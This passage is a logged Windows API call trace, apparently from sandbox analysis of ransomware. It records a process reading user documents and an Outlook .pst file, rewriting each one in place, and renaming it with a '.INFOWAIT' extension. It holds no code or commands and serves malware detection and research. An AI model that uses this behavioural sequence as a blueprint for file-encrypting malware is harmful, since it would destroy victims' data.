1 [0119.469] VirtualAlloc (lpAddress=0x0, dwSize=0xd09a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.474] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.474] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd09a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd09a, lpOverlapped=0x0) returned 1 [0119.474] CloseHandle (hObject=0xad4) returned 1 [0119.476] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kDhx0.ods" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kDhx0.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kDhx0.ods" [0119.476] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kDhx0.ods", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kDhx0.ods.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kDhx0.ods.INFOWAIT" [0119.476] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kDhx0.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kdhx0.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kDhx0.ods.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kdhx0.ods.infowait")) returned 1 [0119.477] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.478] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.479] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.481] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd8 [0119.481] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.481] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.481] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd8, lpOverlapped=0x0) returned 1 [0119.484] VirtualAlloc (lpAddress=0x0, dwSize=0xd8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.484] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.484] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd8, lpOverlapped=0x0) returned 1 [0119.484] CloseHandle (hObject=0xad4) returned 1 [0119.485] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" [0119.485] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini.INFOWAIT" [0119.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini.infowait")) returned 1 [0119.488] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.489] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.489] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.490] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0119.490] CloseHandle (hObject=0xad4) returned 1 [0119.490] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" [0119.490] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.INFOWAIT" [0119.490] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.infowait")) returned 1 [0119.491] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0119.491] GetLastError () returned 0x0 [0119.491] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0119.491] GetLastError () returned 0x0 [0119.528] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" [0119.528] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.INFOWAIT" [0119.528] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.infowait")) returned 1 [0119.528] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.529] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.530] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.530] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.531] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x42400 [0119.531] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.531] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.531] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0119.535] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.546] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.546] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0119.547] CloseHandle (hObject=0xad0) returned 1 [0119.557] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" [0119.557] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.INFOWAIT" [0119.557] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.infowait")) returned 1 [0119.558] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.559] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.560] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\r0_POyzPZT.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\r0_poyzpzt.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.560] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x134e9 [0119.560] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.560] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.560] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x134e9, lpOverlapped=0x0) returned 1 [0119.563] VirtualAlloc (lpAddress=0x0, dwSize=0x134e9, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.569] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.569] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x134e9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x134e9, lpOverlapped=0x0) returned 1 [0119.573] CloseHandle (hObject=0xad0) returned 1 [0119.574] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\r0_POyzPZT.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\r0_POyzPZT.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\r0_POyzPZT.pptx" [0119.574] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\r0_POyzPZT.pptx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\r0_POyzPZT.pptx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\r0_POyzPZT.pptx.INFOWAIT" [0119.574] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\r0_POyzPZT.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\r0_poyzpzt.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\r0_POyzPZT.pptx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\r0_poyzpzt.pptx.infowait")) returned 1 [0119.576] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.577] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.578] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rsqxo_hm.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rsqxo_hm.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.578] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5e7a [0119.578] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.579] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.579] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x5e7a, lpOverlapped=0x0) returned 1 [0119.581] VirtualAlloc (lpAddress=0x0, dwSize=0x5e7a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.583] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.583] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x5e7a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x5e7a, lpOverlapped=0x0) returned 1 [0119.584] CloseHandle (hObject=0xad0) returned 1 [0119.588] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rsqxo_hm.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rsqxo_hm.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rsqxo_hm.pptx" [0119.588] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rsqxo_hm.pptx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rsqxo_hm.pptx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rsqxo_hm.pptx.INFOWAIT" [0119.588] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rsqxo_hm.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rsqxo_hm.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rsqxo_hm.pptx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rsqxo_hm.pptx.infowait")) returned 1 [0119.589] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.590] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.590] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\unlt.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\unlt.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.596] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x45d9 [0119.596] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.597] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.597] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x45d9, lpOverlapped=0x0) returned 1 [0119.599] VirtualAlloc (lpAddress=0x0, dwSize=0x45d9, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.601] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.601] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x45d9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x45d9, lpOverlapped=0x0) returned 1 [0119.601] CloseHandle (hObject=0xad4) returned 1 [0119.602] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\unlt.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\unlt.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\unlt.docx" [0119.602] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\unlt.docx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\unlt.docx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\unlt.docx.INFOWAIT" [0119.602] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\unlt.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\unlt.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\unlt.docx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\unlt.docx.infowait")) returned 1 [0119.602] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.603] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.604] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v7CbnDwOOLwRsSR.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\v7cbndwoolwrssr.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.604] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x851 [0119.604] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.604] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.604] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x851, lpOverlapped=0x0) returned 1 [0119.607] VirtualAlloc (lpAddress=0x0, dwSize=0x851, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.608] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.608] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x851, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x851, lpOverlapped=0x0) returned 1 [0119.608] CloseHandle (hObject=0xad4) returned 1 [0119.609] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v7CbnDwOOLwRsSR.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v7CbnDwOOLwRsSR.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v7CbnDwOOLwRsSR.xlsx" [0119.609] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v7CbnDwOOLwRsSR.xlsx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v7CbnDwOOLwRsSR.xlsx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v7CbnDwOOLwRsSR.xlsx.INFOWAIT" [0119.609] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v7CbnDwOOLwRsSR.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\v7cbndwoolwrssr.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v7CbnDwOOLwRsSR.xlsx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\v7cbndwoolwrssr.xlsx.infowait")) returned 1 [0119.610] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.611] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.611] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBCuWSQzDcN3.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbcuwsqzdcn3.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.612] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1665f [0119.612] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.612] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.612] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1665f, lpOverlapped=0x0) returned 1 [0119.621] VirtualAlloc (lpAddress=0x0, dwSize=0x1665f, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.627] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.627] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1665f, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1665f, lpOverlapped=0x0) returned 1 [0119.628] CloseHandle (hObject=0xad4) returned 1 [0119.629] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBCuWSQzDcN3.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBCuWSQzDcN3.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBCuWSQzDcN3.xlsx" [0119.629] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBCuWSQzDcN3.xlsx", 